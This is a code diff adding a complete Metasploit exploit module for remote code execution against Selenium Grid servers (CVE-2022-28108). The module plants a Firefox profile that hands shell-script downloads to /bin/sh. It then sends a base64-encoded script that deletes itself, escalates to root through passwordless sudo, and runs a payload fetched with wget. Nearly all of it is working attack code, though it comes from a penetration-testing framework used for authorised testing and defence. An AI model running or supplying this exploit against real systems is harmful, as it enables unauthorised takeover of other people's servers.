|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Selenium geckodriver RCE', |
| 17 | + 'Description' => %q{ |
| 18 | + Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) |
| 19 | + allows CSRF because it permits non-JSON content types |
| 20 | + such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. |
| 21 | + }, |
| 22 | + 'Author' => [ |
| 23 | + 'Jon Stratton', # Exploit development |
| 24 | + 'Takahiro Yokoyama' # Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => [ |
| 28 | + ['CVE', '2022-28108'], |
| 29 | + ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'], |
| 30 | + ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'], |
| 31 | + ['EDB', '49915'], |
| 32 | + ], |
| 33 | + 'Payload' => {}, |
| 34 | + 'Platform' => %w[linux], |
| 35 | + 'Targets' => [ |
| 36 | + [ |
| 37 | + 'Linux Command', { |
| 38 | + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, |
| 39 | + 'DefaultOptions' => { |
| 40 | + 'FETCH_COMMAND' => 'WGET' |
| 41 | + } |
| 42 | + } |
| 43 | + ], |
| 44 | + ], |
| 45 | + 'DefaultOptions' => { |
| 46 | + 'FETCH_DELETE' => true |
| 47 | + }, |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'DisclosureDate' => '2022-04-18', |
| 50 | + 'Notes' => { |
| 51 | + 'Stability' => [ CRASH_SAFE, ], |
| 52 | + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], |
| 53 | + 'Reliability' => [ REPEATABLE_SESSION, ] |
| 54 | + } |
| 55 | + ) |
| 56 | + ) |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + Opt::RPORT(4444), |
| 60 | + OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]) |
| 61 | + ] |
| 62 | + ) |
| 63 | + end |
| 64 | + |
| 65 | + def check |
| 66 | + # Request for Selenium Grid version 4 |
| 67 | + v4res = send_request_cgi({ |
| 68 | + 'method' => 'GET', |
| 69 | + 'uri' => normalize_uri(target_uri.path, 'status') |
| 70 | + }) |
| 71 | + if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') && |
| 72 | + v4res.get_json_document['value'].include?('message') |
| 73 | + if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.' |
| 74 | + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.') |
| 75 | + elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid') |
| 76 | + return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') |
| 77 | + end |
| 78 | + end |
| 79 | + |
| 80 | + # Request for Selenium Grid version 3 |
| 81 | + v3res = send_request_cgi({ |
| 82 | + 'method' => 'GET', |
| 83 | + 'uri' => normalize_uri(target_uri.path) |
| 84 | + }) |
| 85 | + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200 |
| 86 | + |
| 87 | + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } |
| 88 | + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code |
| 89 | + |
| 90 | + json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] |
| 91 | + begin |
| 92 | + json_data = JSON.parse(json_str) |
| 93 | + rescue JSON::ParserError |
| 94 | + return Exploit::CheckCode::Unknown('Unable to determine the version.') |
| 95 | + end |
| 96 | + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] |
| 97 | + |
| 98 | + # Extract the version |
| 99 | + version = Rex::Version.new(json_data['version']) |
| 100 | + @version3 = version < Rex::Version.new('4.0.0') |
| 101 | + |
| 102 | + CheckCode::Appears("Version #{version} detected, which is vulnerable.") |
| 103 | + end |
| 104 | + |
| 105 | + def exploit |
| 106 | + # Build profile zip file. |
| 107 | + stringio = Zip::OutputStream.write_buffer do |io| |
| 108 | + # Create a handler for shell scripts |
| 109 | + io.put_next_entry('handlers.json') |
| 110 | + io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}') |
| 111 | + end |
| 112 | + stringio.rewind |
| 113 | + encoded_profile = Base64.strict_encode64(stringio.sysread) |
| 114 | + |
| 115 | + # Create session with our new profile |
| 116 | + new_session = { |
| 117 | + desiredCapabilities: { |
| 118 | + browserName: 'firefox', |
| 119 | + firefox_profile: encoded_profile |
| 120 | + }, |
| 121 | + capabilities: { |
| 122 | + firstMatch: [ |
| 123 | + { |
| 124 | + browserName: 'firefox', |
| 125 | + "moz:firefoxOptions": { profile: encoded_profile } |
| 126 | + } |
| 127 | + ] |
| 128 | + } |
| 129 | + }.to_json |
| 130 | + |
| 131 | + # Start session with encoded_profile and save session id for cleanup. |
| 132 | + res = send_request_cgi({ |
| 133 | + 'method' => 'POST', |
| 134 | + 'uri' => normalize_uri(target_uri.path, 'wd/hub/session'), |
| 135 | + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, |
| 136 | + 'data' => new_session |
| 137 | + }, datastore['TIMEOUT']) |
| 138 | + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res |
| 139 | + |
| 140 | + session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId'] |
| 141 | + fail_with(Failure::Unknown, 'Failed to start session.') unless session_id |
| 142 | + |
| 143 | + print_status("Started session (#{session_id}).") |
| 144 | + |
| 145 | + b64encoded_payload = Rex::Text.encode_base64( |
| 146 | + "rm -rf $0\n"\ |
| 147 | + "if sudo -n true 2>/dev/null; then\n"\ |
| 148 | + " echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\ |
| 149 | + "else\n"\ |
| 150 | + " #{payload.encoded}\n"\ |
| 151 | + "fi\n" |
| 152 | + ) |
| 153 | + |
| 154 | + data_url = "data:application/sh;charset=utf-16le;base64,#{b64encoded_payload}" |
| 155 | + send_request_cgi({ |
| 156 | + 'method' => 'POST', |
| 157 | + 'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"), |
| 158 | + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, |
| 159 | + 'data' => JSON.generate(url: data_url) |
| 160 | + }) |
| 161 | + # The server does not send a response, so no check here |
| 162 | + |
| 163 | + # This may take some time (about 5 minutes or so), so no timeout is set here. |
| 164 | + res = send_request_cgi({ |
| 165 | + 'method' => 'DELETE', |
| 166 | + 'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"), |
| 167 | + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' } |
| 168 | + }) |
| 169 | + if res |
| 170 | + print_status("Deleted session (#{session_id}).") |
| 171 | + else |
| 172 | + print_status("Failed to delete the session (#{session_id}). "\ |
| 173 | + 'You may need to wait for the session to expire (default: 5 minutes) or '\ |
| 174 | + 'manually delete the session for the next exploit to succeed.') |
| 175 | + end |
| 176 | + end |
| 177 | + |
| 178 | +end |
0 commit comments